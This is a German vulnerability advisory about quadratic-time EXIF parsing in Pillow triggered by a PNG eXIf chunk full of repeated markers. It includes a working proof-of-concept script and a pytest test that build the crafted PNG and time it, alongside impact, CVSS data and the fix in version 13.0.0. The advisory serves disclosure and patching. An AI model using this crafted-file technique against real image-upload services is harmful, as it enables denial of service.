Pillow: PNG-eXIf-Chunk führt zu quadratischer Laufzeit beim Parsen von EXIF-Daten
Die Originalmeldung wurde seit der Erstellung dieser Erklärung geändert. Prüfen Sie die aktuellen technischen Daten und die Originalmeldung unten.
Zusammenfassung
Eine PNG-Datei mit einem großen eXIf-Chunk voller wiederholter 6-Byte-Marker führt dazu, dass der EXIF-Parser von Pillow Sekunden an CPU-Zeit statt Millisekunden benötigt. Der Aufwand wächst quadratisch mit der Chunk-Größe, sodass bereits eine Datei in der Größe eines normalen kleinen Fotos ausreicht, um spürbare Verzögerungen zu verursachen.
Details
Exif.load() in src/PIL/Image.py entfernt einen Marker vom Anfang der EXIF-Daten wie folgt:
while data and data.startswith(b"Exif\x00\x00"):
data = data[6:]
Bei jedem Durchlauf wird eine neue Kopie der verbleibenden Daten erstellt. Eine reale Kamera schreibt diesen Marker normalerweise nur einmal, weshalb dies regulär kein Problem darstellt.
chunk_eXIf() in src/PIL/PngImagePlugin.py übernimmt den rohen PNG-eXIf-Chunk direkt in info["exif"] ohne Größenbeschränkung und ohne Inhaltsprüfung. PNG-Text-Chunks (tEXt, zTXt, iTXt) werden durch MAX_TEXT_CHUNK und MAX_TEXT_MEMORY begrenzt. Der eXIf-Chunk verfügt über keine solche Begrenzung.
Wenn der eXIf-Chunk mit wiederholten Exif\x00\x00-Markern anstelle echter EXIF-Daten gefüllt ist, wird die Bereinigungsschleife für jeden Marker einmal ausgeführt und kopiert jedes Mal einen großen Puffer. Dies führt zu quadratischer Laufzeit.
Schritte zur Reproduktion
Hiermit wird ein kleines PNG im Speicher erstellt und Image.open().getexif() darauf zeitlich gemessen. Eine externe Datei ist nicht erforderlich:
import time
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
start = time.time()
with Image.open(BytesIO(data)) as im:
im.getexif()
print("took", time.time() - start, "seconds")
Erwartete Ausgabe in einer korrigierten Version: deutlich unter 0.1 Sekunden, wie bei einer normalen Datei dieser Größe.
Tatsächliche Ausgabe im betroffenen Code: etwa 3.5 bis 3.7 Sekunden für eine einzelne 1.8MB-Datei. Die Zeit wird innerhalb der Bereinigungsschleife verbracht. Die Wachstumsrate über verschiedene Größen (200KB, 600KB, 1.2MB, 1.8MB) entspricht einem quadratischen Anstieg.
Eine pytest-Version dieses Tests unter Verwendung von pytest-timeout, damit ein Testlauf bei Vorhandensein des Fehlers nicht einfriert, schlägt mit Failed: Timeout (>2.0s) from pytest-timeout fehl:
import pytest
from io import BytesIO
from PIL import Image, PngImagePlugin
def chunk(cid, *data):
fp = BytesIO()
PngImagePlugin.putchunk(fp, cid, *data)
return fp.getvalue()
MAGIC = PngImagePlugin._MAGIC
IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
IDAT = chunk(b"IDAT")
IEND = chunk(b"IEND")
@pytest.mark.timeout(2)
def test_exif_load_is_not_quadratic():
marker = b"Exif\x00\x00"
exif_chunk = chunk(b"eXIf", marker * 300_000)
data = MAGIC + IHDR + exif_chunk + IDAT + IEND
with Image.open(BytesIO(data)) as im:
im.getexif()
Auswirkungen
- Verfügbarkeit: Ein Angreifer, der die Verarbeitung einer PNG-Datei veranlassen kann, kann mehrere Sekunden CPU-Zeit pro Anfrage verbrauchen. Größere Dateien skalieren schlechter, da der Aufwand quadratisch statt linear ist.
- Vertraulichkeit: Keine.
- Integrität: Keine.
- Dies betrifft Aufrufe über
Image.getexif(),Image._getexif()undImageOps.exif_transpose(). Daexif_transpose()in der Dokumentation von Pillow für das automatische Drehen von Benutzerfotos empfohlen wird, kann dies normalen Code zur Verarbeitung von Datei-Uploads betreffen.
Was zu tun ist
Aktualisieren Sie Pillow auf Version 13.0.0 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | pillow | >= 11.0.0, < 13.0.0 | 13.0.0 |
Verweise
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h
- https://nvd.nist.gov/vuln/detail/CVE-2026-96643
- https://github.com/python-pillow/Pillow/pull/10073
- https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H- Schwäche (CWE)
CWE-407- Plattform
- Python (PyPI)
- Paket
pillow- Veröffentlicht
- 21.10.2026
- Aktualisiert
- 29.10.2026 12:17
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - PYSEC-2026-4342 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-g4qv-2jxx-769h - CC BY 4.0
Schwachstellenhistorie: pillow
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 106
- Erste → letzte
- 04.2014 11.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 1
Verteilung nach Schweregrad
- Kritisch 14
- Hoch 63
- Mittel 27
- Niedrig 1
- Nicht bewertet 1
Veröffentlichungen pro Jahr
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 19
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 49
früher: 12
-
Pillow: PNG-eXIf-Chunk führt zu quadratischer Laufzeit beim Parsen von EXIF-Daten dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.